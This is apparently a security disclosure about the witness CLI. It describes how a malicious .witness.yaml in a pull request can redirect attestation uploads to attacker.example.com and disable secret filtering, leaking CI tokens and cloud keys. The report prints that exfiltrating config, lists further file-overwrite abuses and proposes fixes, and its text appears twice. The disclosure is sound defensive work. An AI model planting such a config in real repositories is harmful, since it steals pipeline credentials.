Hi,
The witness CLI auto-loads .witness.yaml from the current working directory on every invocation (default config path at options/root.go:29, loaded by initConfig at cmd/config.go:46). In CI/CD pipelines that check out untrusted Pull Requests, an attacker can include a .witness.yaml that redirects attestation uploads to an attacker-controlled server with sensitive variable filtering disabled, exfiltrating all CI environment variables including secrets. Verified against witness HEAD (commit 44b8404).
Details
The config auto-load chain:
options/root.go:29: Default config path is .witness.yaml in CWD
cmd/root.go:71: preRoot calls initConfig before every command
cmd/config.go:32-47: If .witness.yaml exists in CWD, it is silently loaded and all matching flags are set from the file contents
A malicious .witness.yaml in a Pull Request:
run:
enable-archivista: true
archivista-server: "https://attacker.example.com"
env-disable-default-sensitive-vars: true
These three flags are all configurable via the config file:
enable-archivista (options/run.go:92): Activates attestation upload to Archivista server
archivista-server (options/run.go:98): Sets the destination URL for uploads
env-disable-default-sensitive-vars (options/run.go:73): Disables the default sensitive variable obfuscation list
Attack Chain
- Attacker opens a Pull Request adding
.witness.yaml to the repository root
- CI/CD pipeline triggers on the PR, checks out the PR branch
- Pipeline runs
witness run -- make build (or similar)
preRoot auto-loads .witness.yaml from the checkout directory
- Archivista upload is enabled and pointed to
attacker.example.com
- Sensitive variable filtering is disabled
- The environment attestor (
attestation/environment/environment.go:112) captures ALL environment variables via os.Environ() without obfuscation
- The signed attestation (containing all env vars in cleartext) is uploaded to the attacker's server
- Attacker receives:
GITHUB_TOKEN, AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, DOCKER_PASSWORD, NPM_TOKEN, and any other CI secrets injected as environment variables
Additional Weaponization
The .witness.yaml can also set:
debug-cpu-profile-file / debug-mem-profile-file (cmd/root.go:77): os.Create at arbitrary paths, truncating existing files (DoS)
outfile: Write attestation JSON to arbitrary filesystem paths
workingdir: Change the execution directory for the wrapped command
Impact
In CI/CD environments where witness is used to attest build steps (its primary use case), a Pull Request from an untrusted contributor can exfiltrate all CI secrets. These secrets typically grant:
- Push access to the repository (GITHUB_TOKEN)
- Cloud infrastructure access (AWS/GCP/Azure credentials)
- Package registry publish access (NPM_TOKEN, PyPI tokens)
- Container registry access (DOCKER_PASSWORD)
This is a complete supply chain compromise triggered by a single file in a Pull Request.
Suggested Fix
- Do NOT auto-load config from CWD by default. Require explicit
--config flag, or load only from a trusted system path (e.g., ~/.config/witness/config.yaml)
- If CWD config loading is kept, warn loudly when a config file is found and require explicit opt-in (similar to how
direnv requires direnv allow)
- Never allow
archivista-server or enable-archivista to be set from repo-local config files
- Never allow
env-disable-default-sensitive-vars from repo-local config
Koda Reef
Hi,
The
witnessCLI auto-loads.witness.yamlfrom the current working directory on every invocation (default config path atoptions/root.go:29, loaded byinitConfigatcmd/config.go:46). In CI/CD pipelines that check out untrusted Pull Requests, an attacker can include a.witness.yamlthat redirects attestation uploads to an attacker-controlled server with sensitive variable filtering disabled, exfiltrating all CI environment variables including secrets. Verified against witness HEAD (commit 44b8404).Details
The config auto-load chain:
options/root.go:29: Default config path is.witness.yamlin CWDcmd/root.go:71:preRootcallsinitConfigbefore every commandcmd/config.go:32-47: If.witness.yamlexists in CWD, it is silently loaded and all matching flags are set from the file contentsA malicious
.witness.yamlin a Pull Request:These three flags are all configurable via the config file:
enable-archivista(options/run.go:92): Activates attestation upload to Archivista serverarchivista-server(options/run.go:98): Sets the destination URL for uploadsenv-disable-default-sensitive-vars(options/run.go:73): Disables the default sensitive variable obfuscation listAttack Chain
.witness.yamlto the repository rootwitness run -- make build(or similar)preRootauto-loads.witness.yamlfrom the checkout directoryattacker.example.comattestation/environment/environment.go:112) captures ALL environment variables viaos.Environ()without obfuscationGITHUB_TOKEN,AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY,DOCKER_PASSWORD,NPM_TOKEN, and any other CI secrets injected as environment variablesAdditional Weaponization
The
.witness.yamlcan also set:debug-cpu-profile-file/debug-mem-profile-file(cmd/root.go:77):os.Createat arbitrary paths, truncating existing files (DoS)outfile: Write attestation JSON to arbitrary filesystem pathsworkingdir: Change the execution directory for the wrapped commandImpact
In CI/CD environments where
witnessis used to attest build steps (its primary use case), a Pull Request from an untrusted contributor can exfiltrate all CI secrets. These secrets typically grant:This is a complete supply chain compromise triggered by a single file in a Pull Request.
Suggested Fix
--configflag, or load only from a trusted system path (e.g.,~/.config/witness/config.yaml)direnvrequiresdirenv allow)archivista-serverorenable-archivistato be set from repo-local config filesenv-disable-default-sensitive-varsfrom repo-local configKoda Reef